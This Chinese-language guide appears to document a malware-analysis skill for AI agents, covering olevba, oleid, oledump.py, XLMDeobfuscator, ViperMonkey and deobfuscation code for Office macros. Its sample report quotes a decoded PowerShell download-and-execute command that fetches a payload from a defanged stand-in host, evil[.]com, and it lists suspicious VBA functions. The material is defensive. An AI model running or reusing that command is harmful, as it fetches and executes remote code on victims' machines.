Anthropic-Cybersecurity-Skills 仓库 Office 宏恶意软件分析工具 API 参考与实战指南

Anthropic-Cybersecurity-Skills 仓库 Office 宏恶意软件分析工具 API 参考与实战指南 Anthropic-Cybersecurity-Skills 仓库 Office 宏恶意软件分析工具 API 参考与实战指南【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本篇指南围绕 Anthropic-Cybersecurity-Skills 仓库中analyzing-macro-malware-in-office-documents技能的 api-reference.md 展开系统讲解 olevba、oleid、oledump.py、XLMDeobfuscator 与 ViperMonkey 等工具的命令行语法、Python API 与关键输出结构并融合该技能的完整分析工作流与仓库配套 agent.py 源码级实现帮助你掌握从文档分流triage、VBA 提取、去混淆到 IOC 提取的完整 Office 恶意文档分析闭环。技能定位与框架映射该技能面向 AI Agent 的恶意文档取证场景其元数据定义在 SKILL.md 的 frontmatter 中触发场景邮件安全网关标记的可疑 Office 文档.doc/.docm/.xls/.xlsm/.ppt、钓鱼攻击投递的武器化文档、VBA 宏提取、混淆 VBA 攻击链还原以及 DDE / ActiveX / 远程模板注入等非宏向量判定。框架映射MITRE ATTCKT1137.001Office 应用启动、T1204.002用户执行恶意文件、T1059.005命令与脚本解释器Visual Basic、T1027混淆文件或信息NIST CSF 2.0DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01MITRE ATLASAML.T0068、AML.T0067MITRE D3FEND文件元数据一致性校验、应用协议命令分析、标识符分析、内容格式转换、消息分析。下文所有工具示例均以document.docm/suspect.docm等占位文件名为分析对象。一、oletoolsolevbaVBA 宏提取与静态分析olevba 是 oletools 工具包的核心组件用于解析 OLE/复合文档结构、提取 VBA 源码并基于关键词规则检测可疑函数与 IOC。分析环境要求 Python 3.8安装方式为pip install oletools。CLI 语法olevba document.docm # 完整分析默认输出全部分区 olevba --decode --deobf document.docm # 解码 去混淆还原 Chr()/串联等常见混淆 olevba --code document.docm # 仅提取 VBA 源码适合重定向到文件 olevba --json document.docm # JSON 结构化输出便于 Agent/脚本消费 olevba --reveal document.docm # 揭示隐藏内容如隐藏字符串典型组合用法先用--code将提取的 VBA 源码落盘再用--decode --deobf还原混淆层最后用--json生成机器可读结果。输出分区olevba 的分析报告按类型分为以下分区每个分区对应一类威胁线索Section内容AutoExec自动执行触发器AutoOpen、Document_Open 等Suspicious危险函数Shell、WScript、CreateObject 等IOC提取的指示器URL、IP、文件路径Hex String解码后的十六进制编码字符串Python APIolevba 提供VBA_Parser类可在脚本或 Agent 中直接调用from oletools.olevba import VBA_Parser vba VBA_Parser(document.docm) if vba.detect_vba_macros(): for (fn, stream, vba_fn, code) in vba.extract_macros(): print(code) for (kw_type, keyword, desc) in vba.analyze_macros(): print(f{kw_type}: {keyword}) vba.close()仓库配套脚本 agent.py 正是基于这一 API 实现的extract_vba_macros()使用detect_vba_macros()extract_macros()逐条取出宏源码并记录流路径与代码长度analyze_vba_suspicious()使用analyze_macros()将结果按AutoExec/Suspicious/IOC/Hex String四类分流与上表分区一一对应。二、oleid文档能力识别与风险预判在深入提取宏之前先用 oleid 对文档做快速能力评估判断是否值得继续分析oleid document.docm指示器与风险值Indicator风险值VBA MacrosTrue/FalseXLM MacrosTrue/FalseExternal RelationshipsTrue/False远程模板等外部引用ObjectPoolTrue/False内嵌对象FlashTrue/FalseSWF 对象SKILL.md 的 Step 1 将 oleid 作为首要 triage 步骤并结合 oledump.py 做 OLE 流级确认。agent.py 中triage_document()通过oleid.OleID(filepath).check()遍历全部指示器输出每个指示器的value取值、risk风险等级与description说明实现同样的能力画像。三、oledump.pyOLE 流级分析Didier Stevens 的 oledump.py 直接作用于 OLE 复合文档的流结构适合定位宏所在流、提取原始字节并支持插件扩展。CLI 语法oledump.py document.docm # 列出所有 OLE 流 oledump.py -s 8 -v document.docm # 提取并显示第 8 号流流号以列表输出为准 oledump.py -p plugin_vba_dco document.docm # VBA 解压/反编译插件 oledump.py -p plugin_msg.py document.msg # MSG 邮件文件解析插件流标记流列表中每行开头的标记字符表示流内容类型Marker含义M包含 VBA 宏m包含宏属性O包含 OLE 对象SKILL.md 明确指出标记为M的流含 VBA 宏、m的流含宏属性这是判断宏藏在哪个流的关键依据。plugin_vba_dco可对压缩的 VBA 源流CompressedContainer做解压还原plugin_biff.py则用于 XLMBIFF 格式宏解析。四、XLMDeobfuscatorExcel 4.0 宏去混淆Excel 4.0XLM宏是早于 VBA 的遗留宏语言存储在隐藏工作表宏表中常被传统 VBA 检测工具漏报。该技能将其作为独立分析分支安装方式为pip install xlmdeobfuscator。CLI 语法xlmdeobfuscator -f document.xlsm xlmdeobfuscator -f document.xlsm --output-format json危险 XLM 函数Function用途EXEC()执行 Shell 命令CALL()调用 DLL 函数REGISTER()注册 DLL 函数URLDownloadToFileA从 URL 下载文件SKILL.md 的 Step 4 扩展了完整监测清单除上表外还需关注ALERT()社交工程弹窗、HALT()终止执行、GOTO()控制流跳转、IF()条件执行等控制流函数。注意olevba --xlm suspect.xlsm可先用于检测 XLM 宏是否存在再用 XLMDeobfuscator 还原公式。五、VBA 自动执行触发器宏恶意软件的首要特征是无需用户主动操作即可执行。下表为需要优先排查的入口点Trigger应用Auto_Open/AutoOpenWordDocument_OpenWordWorkbook_OpenExcelAuto_CloseWordAutoExecWord在分析报告中找到入口点后应沿其调用链向下追踪如AutoOpen() - Module1.RunPayload()逐一还原辅助函数的作用。六、VBA 可疑函数速查表宏代码中出现下列 API 时通常意味着下载执行、进程创建、文件写入或环境侦察Function风险Shell()命令执行WScript.ShellWindows 脚本宿主CreateObject()COM 对象实例化URLDownloadToFile文件下载MSXML2.XMLHTTPHTTP 请求ADODB.Stream二进制文件写入CallByName间接方法调用Environ()环境变量访问SKILL.md 补充了Shell.Application、WScript.Shell.Run/Exec、CreateObject(WScript.Shell)、PowerShell 执行等变体。olevba 的Suspicious分区会命中这些函数agent.py 的分析结果中也会以[!] Suspicious: keyword - description形式打印。七、ViperMonkeyVBA 行为仿真对高度混淆、人工追踪成本过高的宏可交给 ViperMonkey 在沙箱中仿真执行以观察真实行为vmonkey document.docm # 仿真执行并输出行为 vmonkey --iocs document.docm # 仅提取 IOCsViPerMonkey 通过虚拟执行 VBA 语句还原字符串拼接与 API 调用序列是静态去混淆失败时的补充手段。八、源码级去混淆链路agent.py 实现解读api-reference.md 只给出工具语法而仓库 agent.py 提供了与 SKILL.md Step 3 一致的完整去混淆实现可作为模板直接复用deobfuscate_chr_calls()正则Chr$?\((\d)\)与ChrW$?\((\d)\)将数字还原为字符如Chr(104) Chr(116)→htdeobfuscate_concatenation()移除abc def之间的拼接符deobfuscate_strreverse()还原StrReverse(exe.daolnwod)→download.exedeobfuscate_replace()展开Replace(Powxershxell, x, )→PowerShellfull_deobfuscation()按 Chr → 拼接 → 反转 → Replace 的顺序级联应用全部规则extract_urls_from_code()用https?://[^\s]从还原后的代码中抽取下载 URL。此外check_dde()与check_external_relationships()复现了 SKILL.md Step 5 的非宏向量检测解析 OOXML 内 zip 的.xml/.rels匹配DDEAUTO、DDE、attachedTemplate、Target等特征输出 DDE 命令与远程模板 URL。generate_report()则汇总文件哈希、triage 结果、宏数量、自动执行触发器、可疑函数、IOC、URL 与 DDE 发现生成 JSON 报告与 SKILL.md 的报告模板结构一致。九、标准报告输出格式SKILL.md 给出了面向分析师与 Agent 的统一报告模板建议按此结构沉淀每一次分析结论OFFICE MACRO MALWARE ANALYSIS Document: invoice_q3_2025.docm SHA-256: e3b0c44298fc1c149afbf4c8996fb924... File Type: Microsoft Word Document (OOXML with macros) Author: Administrator Creation Date: 2025-09-10 14:23:00 MACRO ANALYSIS Type: VBA Macro Trigger: AutoOpen() Streams: 3 VBA streams (ThisDocument, Module1, Module2) DEOBFUSCATED EXECUTION CHAIN 1. AutoOpen() - Calls Module1.RunPayload() 2. RunPayload() builds command string via Chr() concatenation 3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA... 4. Decoded: IEX (New-Object Net.WebClient).DownloadString(hxxp://evil[.]com/payload.ps1) SOCIAL ENGINEERING LURE - Document displays fake Protected Document image - Instructs user to Enable Content to view the document - Content is blurred/hidden until macros execute EXTRACTED IOCs Download URL: hxxp://evil[.]com/payload.ps1 C2 Domain: evil[.]com IP Address: 185.220.101[.]42 User-Agent: PowerShell (default WebClient) MITRE ATTCK T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell T1059.005 Command and Scripting Interpreter: Visual Basic报告应包含文档元数据、宏类型VBA/XLM/DDE/远程模板、自动执行触发器、去混淆后的关键代码、二级载荷下载 URL、执行方式、社交工程诱饵描述、提取的 IOCURL/域名/IP/文件哈希以及针对该文档模式的 YARA 规则。十、安全注意事项分析环境必须是未安装 Microsoft Office 的隔离虚拟机防止误打开文档触发宏执行文档渲染推荐 LibreOffice默认不执行 VBA 宏。陷阱提醒不要在 Office 中快速查看疑似文档不要遗漏 UserForms 事件处理器中的 VBA 代码不要忽略文档元数据中的攻击者指纹作者名、模板名同一文档可能同时包含 VBA 与 XLM 宏需分别检测。输出 IOC 时建议对 URL 做去活性化defang如hxxp://、[.]以防误点击本技能报告模板即采用此惯例。延伸阅读技能完整工作流SKILL.md配套分析 Agent 源码scripts/agent.py本文依据的 API 参考原文references/api-reference.md技能框架覆盖总览mappings/mitre-attack/coverage-summary.md【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考